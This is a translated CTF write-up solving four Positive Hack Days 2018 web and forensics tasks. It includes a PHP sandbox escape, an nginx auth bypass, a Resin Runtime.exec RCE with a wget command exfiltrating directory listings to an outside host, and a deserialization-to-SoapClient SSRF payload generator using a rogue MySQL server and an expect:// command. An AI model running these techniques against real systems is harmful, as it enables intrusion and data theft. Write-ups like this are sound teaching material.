📜 ⬆️ ⬇️

Positive Hack Days CTF 2018 task seekers: mnogorock, sincity, wowsuchchain, event0

Hello. The annual PHD CTF passed and, as always, the tasks were very cool and interesting! This year, decided to 4 task. It may seem that the article is very long - but there are just a lot of screenshots.

mnogorock


An interesting PHP sandbox, the final solution of which in my opinion was easier to pick up on the ball, because it is very simple. But to come to him, it was necessary to figure out what was going on. I came to the decision making a sickly hook. I also did not immediately guess to google mongo rock, although the rearrangement of the letters was obvious =)

Initially, we are given a URL where small hint is returned, what to do next.


')
We collect POST request



We see the result of the execution of the inform () command. The first thing that comes to mind is an injection to the team, we try to insert quotes, bexleshes, parameters into the inform information, we study the behavior:





We see some kind of mistake ... But if you add another letter,



then at the end the php tag closes, that is, by injection, we close the line somewhere.

Googling something like a caps (T_ENCAPSED_AND_WHITESPACE) - we understand that these are PHP lexical tokens. This suggests that we have in front of PHP sandbox, where input is tokenized before the code is executed. In this part of the tokens is prohibited to use. And since This is a sandbox, the injection is probably the wrong vector.

Now we will try to write valid requests that will be skipped. For example:



we see that in this case the output occurred twice, we also see that the token T_CONSTANT_ENCAPSED_STRING (the string in quotes) is allowed, this turned out to be critically important.

In general, here it would be possible to solve everything if I knew that pkhp allows us to do such things =) But I did not know. Therefore, I took the full list of PHP tokens ( here ) and drove them into the Intruder to understand which ones are allowed. Then I decided to google mongo rock and found the sandbox code that was used for the task. It goes without saying that it was changed a bit for task, but it would not hurt to read the logic (At the same time, to compare the real code with the pseudo-code in the head that I compiled, studying the behavior of the blackbox program)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php

We look at the function that produces tokenization before the eval of the code

private function _runPHP() { $this->_source = "return " . $this->_source . ";"; if (function_exists("token_get_all")) {//tokenizer extension may be disabled $php = "<?php\n" . $this->_source . "\n?>"; $tokens = token_get_all($php); 

the $ php variable is the concat of strings, hence the line break and the closing tag in the example above, when we inserted inform () '' A. Then there are 2 checks, the first one checks that the token includes the list of allowed:

 if (in_array($type, array( T_OPEN_TAG, T_RETURN, T_WHITESPACE, 

and the second is that the T_STRING tokens have valid values:

 if ($type == T_STRING) { $func = strtolower($token[1]); if (in_array($func, array( //keywords allowed "mongoid”, …. 

T_STRING tokens are the keywords of the language, probably only the function inform () was in this list. And further, if conditions have passed, eval () code occurs. Ie to call any function, transferring it as T_STRING the token will not work.

Total we know that it is authorized to do a function call (but only one, inform), and strings in quotes are also skipped. Then I remembered the tricks from JS and tried to do it like this:



Here is the solution. It remains only to find the flag that lay in the file with a random name in root (/). As I wrote at the beginning, the solution is very simple, but without knowing the subtleties of PHP, I had to tinker. The truth is not as far as ...

sincity


Initially, the URL is usually given, open, see a picture of a city, there are no buttons, so we immediately look at the html code of the page.



Pay attention to a strange array ... Let's try to open a non-existent page



And here you can see the name of a very interesting server. Prior to this task, I did not even know about the existence of such. I didn’t read about all its features, the most interesting thing for task is that resin can integrate PHP and Java code (which legacy can bring)

In general, nothing more can be seen on the main page, so we run dirsearch, or someone who loves and see what else is lying on the server.



Find and try to open the directory / dev /, and see Basic HTTP authentication.



This is the first part of task - to bypass Basic HTTP Auth. The idea of ​​a detour is to make it so that on nginx the directory does not get into the / dev / regular program, which is under basic auth, but at the same time that the backend parses the URL path as / dev /. I downloaded the full list of URLs in the Intruder, although it was immediately possible to guess:



After going through all 256 bytes in place of §param§, we find that when% 5c (bekslesh) the answer is different from the original one, that is, we fall into / dev /. This is how the source code of the page in / dev / looked:



We recall the same array on the first page. This is similar to the list of files in the current directory.


We look at the task.php code:

 <?php error_reporting(0); if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337') { if(strlen($_GET['constr'])===4){ $c = new $_GET['constr']($_GET['arg']); $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); }else{ die('Swimming in the pool after using a bottle of vodka'); } } ?> 

The first condition is to transfer such a developer_testing_mode cookie so that the md5 from it is equal to '0e313373133731337313373133731337'.

I knew this thing, so I passed quickly. This is a standard PHP error with a weak comparison. I recommend to look here .

In short, in PHP, a comparison with 2 equal signs (==) considers “0e12345” = “0e54321” to be true. That is, all that is needed to bypass is to find the value, from which the md5 will start with the byte \ x0e. It is easy to google.

The second condition in the code - if there is a certain constr parameter of length 4 bytes, then the following will be executed:

 $c = new $_GET['constr']($_GET['arg']); 

this is just a creation of a class object; if to write simpler it will be something like this:
$ c = new Class (parameter) , where we control the name of the class and its parameter.

second line

 $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); 

If rewriting easier, then:
$ c-> method1 () -> method2 (parameter2) - here we control the names of the methods and the parameter of the 2nd method.

Obviously, this is RCE and it remains only to find the appropriate class names. Recall that Resin integrates PHP and Java code (I didn’t remember right away, and at the beginning I started digging towards Phar).

The solution to this task actually lies in the Resin documentation :



Payload for RCE looks like this:



There will be no withdrawal from the team, so we make a conclusion through the out-of-band technique. We will raise a listener on the Internet for our requests, and launch a command on the server that will send the necessary information to our listener, with the payload above, something like this:



Since we do not know the name of the file with the flag; we need to make a listing of directories. The class method Runtime - exec () can accept a string and an array as input. How full bash works only in the case of an array. Then how can we pass only the string. Therefore, we make a simple bash script:

 #!/bin/bash ls -l > /tmp/adweifmwgfmlkerhbetlbm ls -l / >> /tmp/adweifmwgfmlkerhbetlbm wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/ 


with the first request, we upload it to the server using wget -O / tmp / pwn .... , with the second request we launch it. We accept the list of directories in the root on our listener, and then read the flag.

wowsuchchain


The most interesting of the four. Tusk calls it so because it has a very long chain of bugs. I probably solved it for 2 days and passed almost at the last moment on the way home, deciding from the train =)

Useful article that helps to solve this task (about serialization and magic methods).

In the condition given the URL, open, we see a certain HTTP request logger:



After playing a bit with the parameters and not getting any of this, run dirsearch:



adminer.php is an open source database admin tool. Google immediately gives SSRF vulnerability, and even the exploit, although we do not really need the latter.

Having opened the page with adminer we see the message:



where we are told that access is allowed only from internal resources. We pay attention to the gateway of the local network, it is a small hint, what address the host can have with the installed Adminer.

index.php.bak - we are given the source for the solution.

index.php.bak source:

Hidden text
 <?php session_start(); class MetaInfo { function get_SC(){ return $_SERVER['SCRIPT_NAME']; } function get_CT(){ date_default_timezone_set('UTC'); return date('Ymd H:i:s'); } function get_UA(){ return $_SERVER['HTTP_USER_AGENT']; } function get_IP(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } return $ip; } } class Logger { private $userdata; private $serverdata; public $ip; function __construct(){ if (!isset($_COOKIE['userdata'])){ $this->userdata = new MetaInfo(); $ip = $this->userdata->get_IP(); $useragent = htmlspecialchars($this->userdata->get_UA()); $serialized = serialize(array($ip,$useragent)); $key = getenv('KEY'); $nonce = md5(time()); $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); setcookie("nonce",$nonce); setcookie("hmac",$crypto_arrow); setcookie("userdata",base64_encode($serialized)); header("Location: /"); } if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) { fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w'); } } function clear(){ if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n")) return "Log file cleaned!"; } function show(){ $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt'); return $data; } function ahalai($serialized,$uniq_sig){ $magic = $this->mahalai($serialized,$uniq_sig); return $magic; } function mahalai($serialized, $uniq_sig){ return hash_hmac('md5', $serialized,$uniq_sig); } function __destruct(){ if(isset($_COOKIE['userdata'])){ $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); if($crypto_arrow!==$_COOKIE["hmac"]){ exit; } $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND); } } } $a = new Logger(); ?> <center> <pre> <a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a> ----------------------------------------------------------------------------- <? switch ($_GET['act']) { case 'clear': echo $a->clear(); break; case 'show': echo $a->show(); break; default: echo "This is index page."; break; } ?> </pre></center> 

We study the code. The script creates the Logger class, and then returns the results of the show and clear methods depending on the request. Immediately striking place with serialization and signatures. The most interesting is in the constructor and destructor.

In __construct (), some user data is generated and signed using the HMAC algorithm. The secret key is stored in the environment variable. After the signature, the data and the signature itself are given to the user. This is an emulation of the session-side data storage approach For example, Apache Tapestry does this and it seems I have met this approach somewhere else in ASP frameworks. When using HMAC, change the data and bypass the signature is no longer possible. Everything looks safe, so go to __destructor ()

Since I did not immediately see the bug in the signature verification in __destruct () , I began to solve the task from the middle by running the script locally and commenting on a part of the code with the signature verification. And he returned to the signature bypass at the end. But everything will be in order =)

 $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); 

The first thing you need to pay attention to is that we control the nonce variable, which without any filtering is given to the hash_mac function (PHP built-in function). After that, uniq_sig is passed to the ahalai method, which is equivalent to the same hash_hmac inside . Due to the lack of filtering of the nonce variable , an error occurs when our serialized payload can be signed not with the server's secret key, but with an empty string. To understand what is happening, I sketched a short PoC:

 <?php $nonce = array('1','2','3','100500'); $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET"); $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1); echo "Singature with supasecret: $crypto_arrow1\n"; $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET"); $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2); echo "Singature with anothersupasecret: $crypto_arrow2\n"; $crypto_arrow3 = hash_hmac('md5',"ANYDATA",""); echo "Signature with empty string as KEY: $crypto_arrow3\n"; ?> 

HMAC in all 3 versions will be the same. That is, in the case of signing any array with any key, the result will be an empty string. And since the final signature is considered to be taking the previous signature as input, we get hash_hmac ("ANYDATA", "") . So we can calculate it before sending the request.

Total: to bypass the signature, you need to pass nonce as an array, and the transmitted data in userdata must first be signed with an empty string, and the signature must be passed in the cookie hmac .

The next step is to figure out how to unwind deserialization in order to get something useful. We know that the adminer has an SSRF vulnerability, which means that in combination with rogue_mysql_server we can get a local file reading. But Adminer is available only to internal resources. So the final vector should look like this: SSRF in index.php -> SSRF in adminer.php -> rogue_mysql_server-> local reading of files (plus there were hints from the organizers about expect and that the server has only nginx + php. The last one is to understand that it is necessary to exploit through rogue_mysq_server, expect (apparently a very rare wrapper that its presence is not always checked. And the name of the file with the flag without RCE is not found).

Spin the SSRF on index.php. Pay attention to the following code:

 $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); 

There are several tricks here. The first trick is that if an object is deserialized, the __destruct () of this object will be called (read the article on Rdot.org). The second trick is that we do deserialization already being in the destructor. What happens if we try to deserialize an object of the same Logger class? Ie, when deserializing, the destructor of the same class will be called again! Actually, I thought that an endless loop would happen and there would be a DOS. But it turned out PHP handles this situation correctly. And the third trick, if in the process of deserialization we slip an object into the private variable serverdata , then the serverdata-> get_CT () method will be called further along the code. Here comes to the aid of the magic method __ call () , which will be called in case of a call to a nonexistent class method.

The key words “php class __call ssrf” quickly googled from another CTF where you can find a suitable PHP class SoapClient and that __call () triggers a soap request. We create SoapClient so that it makes a request to adminer.php with the necessary parameters. For some reason I installed the adminer myself, and began to study what is there. You could not do this. The final code for generating payloads came out of this:

 <?php class Logger { private $userdata; private $serverdata; public $ip; function __construct($iter) { $this->serverdata = new SoapClient(null, array( 'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=", 'uri' => "http://172.17.0.$iter", 'trace' => 1, )); } } for($i=0;$i<=255;$i++) { $payload=serialize(array("127.0.0.1",new Logger($i))); file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND); file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND); } ?> 

In Kratz, we create the same Logger class with the same data as the source in index.php . But in the constructor, we assign the internal private variable serverdata, an object of the SoapClient class. The SoapClient object already points to the internal adminer resource with parameters for connecting to our server with rogue_mysql_server . The cycle for the $ iter variable is needed in order to find the local IP of the adminer server. The request through localhost was blocked. In general, he had IP = 172.17.0.3, but I tried one and then launched Intruder =) Pitchfork mode, the first parameter is the file with signatures, the 2nd one with payloads.



To receive a connection on our server somewhere on the Internet, we start mysq_rogue_server, I took it from here . Run with this configuration:

 filelist = ( #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', //    ,       'expect://ls > /tmp/mfocuz_tmp01', '/tmp/mfocuz_tmp01', ) 

We cannot give the rogue server the output from expect, so we redirect the output to a file, and read this file with the second command.

We launch Intruder, see which IP will work:



In the rogue server log, we find this:

2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'


It remains to send another request, but in the Rogue server enter the path to the flag. Final query from Repeater:



event0


This is probably the easiest task of all that was proposed at CTF. The most difficult thing was to understand what kind of file. Difficult - because almost all the links in Google pointed to the computer game event [0]. At the same time, I read what game it was and even decided to go. In general, from all this noise about event [0], it was necessary to find information about Linux devices. In particular, about the linux USB keyboard. That is, the event0 file is the result of the keylogger. And then everything was very easy to google and it was possible to find an almost ready solution for the task here . And at the same time open the Python documentation library evdev. I took the script from the link above and replaced the reading from the device with the reading from the file. My final script looked like this:

Hidden text
 #!/usr/bin/python import pdb import struct import sys import evdev from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent CODE_MAP_CHAR = { 'KEY_MINUS': "-", 'KEY_SPACE': " ", 'KEY_U': "U", 'KEY_W': "W", 'KEY_BACKSLASH': "\\", 'KEY_GRAVE': "`", 'KEY_NUMERIC_STAR': "*", 'KEY_NUMERIC_3': "3", 'KEY_NUMERIC_2': "2", 'KEY_NUMERIC_5': "5", 'KEY_NUMERIC_4': "4", 'KEY_NUMERIC_7': "7", 'KEY_NUMERIC_6': "6", 'KEY_NUMERIC_9': "9", 'KEY_NUMERIC_8': "8", 'KEY_NUMERIC_1': "1", 'KEY_NUMERIC_0': "0", 'KEY_E': "E", 'KEY_D': "D", 'KEY_G': "G", 'KEY_F': "F", 'KEY_A': "A", 'KEY_C': "C", 'KEY_B': "B", 'KEY_M': "M", 'KEY_L': "L", 'KEY_O': "O", 'KEY_N': "N", 'KEY_I': "I", 'KEY_H': "H", 'KEY_K': "K", 'KEY_J': "J", 'KEY_Q': "Q", 'KEY_P': "P", 'KEY_S': "S", 'KEY_X': "X", 'KEY_Z': "Z", 'KEY_KP4': "4", 'KEY_KP5': "5", 'KEY_KP6': "6", 'KEY_KP7': "7", 'KEY_KP0': "0", 'KEY_KP1': "1", 'KEY_KP2': "2", 'KEY_KP3': "3", 'KEY_KP8': "8", 'KEY_KP9': "9", 'KEY_5': "5", 'KEY_4': "4", 'KEY_7': "7", 'KEY_6': "6", 'KEY_1': "1", 'KEY_0': "0", 'KEY_3': "3", 'KEY_2': "2", 'KEY_9': "9", 'KEY_8': "8", 'KEY_LEFTBRACE': "[", 'KEY_RIGHTBRACE': "]", 'KEY_COMMA': ",", 'KEY_EQUAL': "=", 'KEY_SEMICOLON': ";", 'KEY_APOSTROPHE': "'", 'KEY_T': "T", 'KEY_V': "V", 'KEY_R': "R", 'KEY_Y': "Y", 'KEY_TAB': "\t", 'KEY_DOT': ".", 'KEY_SLASH': "/", } def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" if __name__ == "__main__": # pdb.set_trace() f=open('/home/w4x/ctf/phd2018/event0',"rb") events=[] e=f.read(24) events.append(e) while e != "": e=f.read(24) events.append(e) for e in events: eBytes = a=struct.unpack("HHHHHHHHHHi",e) event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) if event.type == ecodes.EV_KEY: print evdev.categorize(event) 


The first lines of the script output:

key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up

down-up is the down-up keystroke. Immediately we see that the vim key.txt command is launched . Vim is a popular text editor that has two modes of operation, text editing and command mode. Therefore, not all the letters in the log were real text. To solve it, all you had to do was simply to click the same keys and get a flag on the output.

Source: https://habr.com/ru/post/354654/


All Articles